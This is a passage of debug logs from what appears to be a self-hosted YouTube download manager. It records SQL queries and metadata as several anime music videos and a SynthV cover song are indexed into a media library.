((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 22:22:52.184 [debug] Current batch of media processed. Will check again in 1000ms 22:22:53.185 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "duration" => 269, "filename" => "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", "id" => "CRqWJy9KxV8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CRqWJy9KxV8", "playlist_index" => 6, "timestamp" => 1627879546, "title" => "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "upload_date" => "20210802"} 22:22:53.185 [debug] QUERY OK source="sources" db=0.3ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:53.186 [debug] QUERY OK source="sources" db=0.3ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:53.186 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-08-02 04:45:46Z], 1] 22:22:53.720 [debug] QUERY OK source="media_items" db=533.1ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "9c3290ed-0823-47ca-9d09-df4b1655917a", false, "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", 6, "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, false, 1, [], 1, ~U[2021-08-02 04:45:46Z], ~U[2026-07-24 02:22:53Z], ~U[2026-07-24 02:22:53Z], "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, 1, ~U[2021-08-02 04:45:46Z]] 22:22:53.721 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=997.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:53.722 [debug] QUERY OK source="media_profiles" db=0.4ms idle=535.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:53.723 [debug] QUERY OK source="media_items" db=0.5ms idle=536.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 22:22:53.723 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "duration" => 132, "filename" => "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", "id" => "CVe8asL13uc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CVe8asL13uc", "playlist_index" => 7, "timestamp" => 1637987959, "title" => "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "upload_date" => "20211127"} 22:22:53.724 [debug] QUERY OK source="sources" db=0.7ms idle=536.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:53.725 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:53.726 [debug] QUERY OK source="media_items" db=0.1ms queue=0.2ms idle=3.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-11-27 04:39:19Z], 1] 22:22:53.910 [debug] QUERY OK source="media_items" db=183.6ms idle=3.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "5f80068c-697a-40d1-b69c-27504be8ca77", false, "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", 7, "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, false, 1, [], 1, ~U[2021-11-27 04:39:19Z], ~U[2026-07-24 02:22:53Z], ~U[2026-07-24 02:22:53Z], "watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, 1, ~U[2021-11-27 04:39:19Z]] 22:22:53.911 [debug] QUERY OK source="sources" db=0.5ms idle=186.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:53.912 [debug] QUERY OK source="media_profiles" db=0.4ms idle=186.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:53.913 [debug] QUERY OK source="media_items" db=0.6ms idle=186.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 22:22:53.913 [debug] Current batch of media processed. Will check again in 1000ms 22:22:54.914 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This song was made for her istg\n_______________________________\nAnime: Neon Genesis Evangelion (+ \"the end of evangelion\" movie)\nSoftware: SonyVegas Pro 17\nColoring: \"Lovely\" by JadeJax\n_______________________________\nThis AMV is made with non-profit or does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\n\"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use\"\n\nI DO NOT OWN ANY Animation or ARTIST COMPANY.\nI MAKE NO PROFIT BY MAKING THESE VIDEOS. ALL RIGHTS RESERVED.\n#asuka #soryu #nobody #amv #eva #mitski #anime", "duration" => 102, "filename" => "/downloads/Nightcore/Nightcore/2021-09-12ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲[qYEJZoK1eIA].m4a", "id" => "qYEJZoK1eIA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qYEJZoK1eIA", "playlist_index" => 8, "timestamp" => 1631428678, "title" => "ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲", "upload_date" => "20210912"} 22:22:54.915 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:54.916 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:54.917 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-09-12 06:37:58Z], 1] 22:22:55.107 [debug] QUERY OK source="media_items" db=189.7ms idle=1004.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["This song was made for her istg\n_______________________________\nAnime: Neon Genesis Evangelion (+ \"the end of evangelion\" movie)\nSoftware: SonyVegas Pro 17\nColoring: \"Lovely\" by JadeJax\n_______________________________\nThis AMV is made with non-profit or does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\n\"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use\"\n\nI DO NOT OWN ANY Animation or ARTIST COMPANY.\nI MAKE NO PROFIT BY MAKING THESE VIDEOS. ALL RIGHTS RESERVED.\n#asuka #soryu #nobody #amv #eva #mitski #anime", "ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲", "53726c93-491c-4a45-88c7-4a057f80a767", false, "qYEJZoK1eIA", 102, false, "https://www.youtube.com/watch?v=qYEJZoK1eIA", 8, "/downloads/Nightcore/Nightcore/2021-09-12ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲[qYEJZoK1eIA].m4a", false, false, 1, [], 1, ~U[2021-09-12 06:37:58Z], ~U[2026-07-24 02:22:54Z], ~U[2026-07-24 02:22:54Z], "This song was made for her istg\n_______________________________\nAnime: Neon Genesis Evangelion (+ \"the end of evangelion\" movie)\nSoftware: SonyVegas Pro 17\nColoring: \"Lovely\" by JadeJax\n_______________________________\nThis AMV is made with non-profit or does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\n\"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use\"\n\nI DO NOT OWN ANY Animation or ARTIST COMPANY.\nI MAKE NO PROFIT BY MAKING THESE VIDEOS. ALL RIGHTS RESERVED.\n#asuka #soryu #nobody #amv #eva #mitski #anime", "ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲", "qYEJZoK1eIA", 102, false, "https://www.youtube.com/watch?v=qYEJZoK1eIA", "/downloads/Nightcore/Nightcore/2021-09-12ᴀꜱᴜᴋᴀ ʟᴀɴɢʟᴇʏ ꜱᴏʀʏᴜ - 𝐧𝐨𝐛𝐨𝐝𝐲[qYEJZoK1eIA].m4a", false, 1, ~U[2021-09-12 06:37:58Z]] 22:22:55.108 [debug] QUERY OK source="sources" db=0.4ms idle=379.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:55.108 [debug] QUERY OK source="media_profiles" db=0.1ms idle=192.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:55.108 [debug] QUERY OK source="media_items" db=0.1ms idle=192.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 22:22:55.108 [debug] Current batch of media processed. Will check again in 1000ms 22:22:56.109 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "When I first made my cover for \"The Winner Takes it All,\" I was very naive when it came to Synth V Studio and audio mixing. (I'm still working on that) It still may not be perfect, but I think this is much better. Thank you all for your kind words and messages. I read all of it, and always appreciate critiques and suggestions on how to improve. \n\nI hope you enjoy.\n\nOriginal: https://www.youtube.com/watch?v=KVoc_WW1TzU\n\n\"The Winner Takes it All\" By ABBA\nProduced by Björn Ulvaeus & Benny Andersson\n \n\n\n #synthvcover #kasaneteto #teto #abba #cover", "duration" => 298, "filename" => "/downloads/Nightcore/Nightcore/2026-05-17The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】[Ggs7y9-X83s].m4a", "id" => "Ggs7y9-X83s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Ggs7y9-X83s", "playlist_index" => 9, "timestamp" => 1779032354, "title" => "The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】", "upload_date" => "20260517"} 22:22:56.110 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:56.110 [debug] QUERY OK source="sources" db=0.0ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:56.110 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 15:39:14Z], 1] 22:22:56.406 [debug] QUERY OK source="media_items" db=295.4ms idle=1002.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["When I first made my cover for \"The Winner Takes it All,\" I was very naive when it came to Synth V Studio and audio mixing. (I'm still working on that) It still may not be perfect, but I think this is much better. Thank you all for your kind words and messages. I read all of it, and always appreciate critiques and suggestions on how to improve. \n\nI hope you enjoy.\n\nOriginal: https://www.youtube.com/watch?v=KVoc_WW1TzU\n\n\"The Winner Takes it All\" By ABBA\nProduced by Björn Ulvaeus & Benny Andersson\n \n\n\n #synthvcover #kasaneteto #teto #abba #cover", "The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】", "10ae2da1-d665-4189-8337-8bc88f79c135", false, "Ggs7y9-X83s", 298, false, "https://www.youtube.com/watch?v=Ggs7y9-X83s", 9, "/downloads/Nightcore/Nightcore/2026-05-17The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】[Ggs7y9-X83s].m4a", false, false, 1, [], 1, ~U[2026-05-17 15:39:14Z], ~U[2026-07-24 02:22:56Z], ~U[2026-07-24 02:22:56Z], "When I first made my cover for \"The Winner Takes it All,\" I was very naive when it came to Synth V Studio and audio mixing. (I'm still working on that) It still may not be perfect, but I think this is much better. Thank you all for your kind words and messages. I read all of it, and always appreciate critiques and suggestions on how to improve. \n\nI hope you enjoy.\n\nOriginal: https://www.youtube.com/watch?v=KVoc_WW1TzU\n\n\"The Winner Takes it All\" By ABBA\nProduced by Björn Ulvaeus & Benny Andersson\n \n\n\n #synthvcover #kasaneteto #teto #abba #cover", "The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】", "Ggs7y9-X83s", 298, false, "https://www.youtube.com/watch?v=Ggs7y9-X83s", "/downloads/Nightcore/Nightcore/2026-05-17The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】[Ggs7y9-X83s].m4a", false, 1, ~U[2026-05-17 15:39:14Z]] 22:22:56.407 [debug] QUERY OK source="sources" db=0.1ms idle=676.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", 